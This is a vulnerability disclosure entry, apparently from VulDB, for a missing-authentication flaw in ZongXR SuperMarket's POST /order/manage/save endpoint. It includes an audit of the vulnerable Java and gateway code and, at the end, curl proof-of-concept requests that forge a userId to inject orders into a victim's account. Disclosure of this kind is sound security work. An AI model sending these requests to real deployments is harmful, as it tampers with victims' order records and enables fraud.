| 标题 | ZongXR SuperMarket master Missing Authentication |
|---|
| 描述 | # Summary
The order creation endpoint in the Supermarket platform (master branch) contains a critical missing authentication vulnerability. The endpoint `POST /order/manage/save` accepts `userId` as a form field and creates orders under that user's identity without any session/ticket validation. This allows unauthenticated attackers to inject arbitrary "ghost orders" under any victim's name, polluting their order history, disrupting auditing/accounting, and interfering with downstream fulfillment workflows. **Note:** This is the only vulnerability among the three new findings that remains undisclosed (0-day) after thorough CVE/GHSA/GitHub issue verification.
---
#Details
The vulnerable endpoint passes the client-supplied `userId` and order details directly to the service layer without any authentication or ownership validation. The gateway configuration (`zuul-gateway/src/main/resources/application.properties`) does not include `/order/**` in the authentication check list (`custom.uri.check` or `custom.uri.forbidden`), making the order service externally reachable without credentials. The backend money validation (`CartService.getMoney`) itself uses the attacker-supplied `userId` to query the victim's shopping cart – meaning the "business validation" is fully compromised by the same attacker-controlled parameter. Verified with real Controller/Service/Mapper code, real frontend field set from `mycart.html`, and in-memory cart service replicating real `getMoney` logic.
---
**Root Cause Analysis (Code Audit):**
**1. Controller – No Authentication Check**
```java
// OrderController.java
@RequestMapping(value = "/manage/save", method = RequestMethod.POST)
@ResponseBody
public SysResult addOrder(Order order) {
try {
this.orderService.addOrder(order);
return SysResult.ok();
} catch (MsgException e) {
return SysResult.build(201, e.getMessage(), e);
}
}
```
The controller accepts the `Order` object (including `userId`) directly from the request body and passes it to the service layer without reading any session/ticket.
**2. Service – No Ownership Validation, Uses Attacker-Controlled `userId` for Money Check**
```java
// OrderServiceImpl.java addOrder L50-80
@Override
public void addOrder(Order order) {
order.setOrderId(UUID.randomUUID().toString());
order.setOrderTime(new Date());
// ATTACKER-CONTROLLED userId is passed to money validation
Double money = this.cartService.getMoney(order.getUserId());
if (!money.equals(order.getOrderMoney())) {
throw new MsgException("后端金额校验出错");
}
this.orderDao.addOrderAndItem(order);
}
```
**3. Cart Service – Money Validation Uses Attacker-Supplied `userId`**
```java
// CartServiceImpl.java getMoney
@Override
public Double getMoney(String userId) {
List<Cart> carts = this.cartDao.selectCart(new Cart(null, userId));
// ^-- userId from order form (attacker-controlled), not from session!
double money = 0.0;
for (Cart cart : carts) {
money += cart.getNum() * cart.getProduct().getProductPrice();
}
return money;
}
```
The "business validation" (money check) is fully compromised because it queries the **victim's** shopping cart using the attacker-controlled `userId`, then validates against the attacker-supplied `orderMoney`.
**4. Mapper – Inserts Order with Attacker-Controlled `userId`**
```xml
<!-- OrderMapper.xml addOrderAndItem -->
<insert id="addOrder" parameterType="com.supermarket.common.domain.Order">
insert into t_order (order_id, order_money, order_receiverinfo,
order_paystate, order_time, user_id)
values (#{orderId}, #{orderMoney}, #{orderReceiverinfo},
#{orderPaystate}, #{orderTime}, #{userId})
</insert>
<insert id="addOrderItem">
insert into t_order_item (order_id, product_id, num, product_price,
product_image, product_name)
values (#{orderId}, #{productId}, #{num}, #{productPrice},
#{productImage}, #{productName})
</insert>
```
The entire call chain contains **no** session/ticket reading or ownership validation — `userId` comes entirely from the client and is used for: (a) money validation, (b) order insertion, and (c) querying the victim's shopping cart.
**5. Gateway – Order Paths Not Protected**
```properties
# zuul-gateway/src/main/resources/application.properties
custom.uri.check={'/product/manage/save':'3','/product/manage/update':'3',
'/user/query/userType':'3','/search/manage/add':'2','/search/manage/delete':'2'}
custom.uri.forbidden=/product/manage/query,/cart/get/money
```
```java
// PermissionCheck.shouldFilter()
return this.uriCheck.containsKey(uri) || this.uriForbidden.contains(uri);
// /order/** returns false → no authentication filter applied
```
---
**Affected files:**
- `order/src/main/java/com/supermarket/order/controller/OrderController.java`
- `order/src/main/java/com/supermarket/order/service/impl/OrderServiceImpl.java`
- `cart/src/main/java/com/supermarket/cart/service/impl/CartServiceImpl.java`
- `order/src/main/resources/mappers/OrderMapper.xml`
- `zuul-gateway/src/main/resources/application.properties`
---
# POC
```bash
# Baseline: victim-alice has 1 order (199.0, 2×p1001)
curl -s http://127.0.0.1:8086/order/manage/query/victim-alice
# -> [{"orderId":"victim-order-0001","orderMoney":199.0,...}]
# Attack: inject ghost order under victim-alice (NO credentials, NO cookie, NO ticket)
curl -s -X POST http://127.0.0.1:8086/order/manage/save \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "orderMoney=298.5&orderReceiverinfo=attacker+chosen&orderPaystate=0&userId=victim-alice&orderItems[0].productId=p1001&orderItems[0].num=3&orderItems[0].productPrice=99.5&orderItems[0].productImage=img&orderItems[0].productName=Super+Phone"
# -> {"status":200,"msg":"ok","data":null}
# Verify pollution: victim now has 2 orders (original + ghost)
curl -s http://127.0.0.1:8086/order/manage/query/victim-alice
# -> [original 199.0, ghost 298.5 with attacker-chosen receiver info]
# Can be repeated indefinitely
curl -s -X POST http://127.0.0.1:8086/order/manage/save ... (same parameters)
# -> Another ghost order appears
``` |
|---|
| 来源 | ⚠️ https://github.com/ZongXR/SuperMarket/issues/32 |
|---|
| 用户 | 360alphalab (UID 100924) |
|---|
| 提交 | 2026-09-03 05時31分 (28 日前) |
|---|
| 管理 | 2026-09-30 21時07分 (28 days later) |
|---|
| 状态 | 已接受 |
|---|
| VulDB条目 | 412347 [ZongXR Supermarket 1.0.0.0 save Endpoint OrderController.java OrderController.addOrder userId 弱身份验证] |
|---|
| 积分 | 20 |
|---|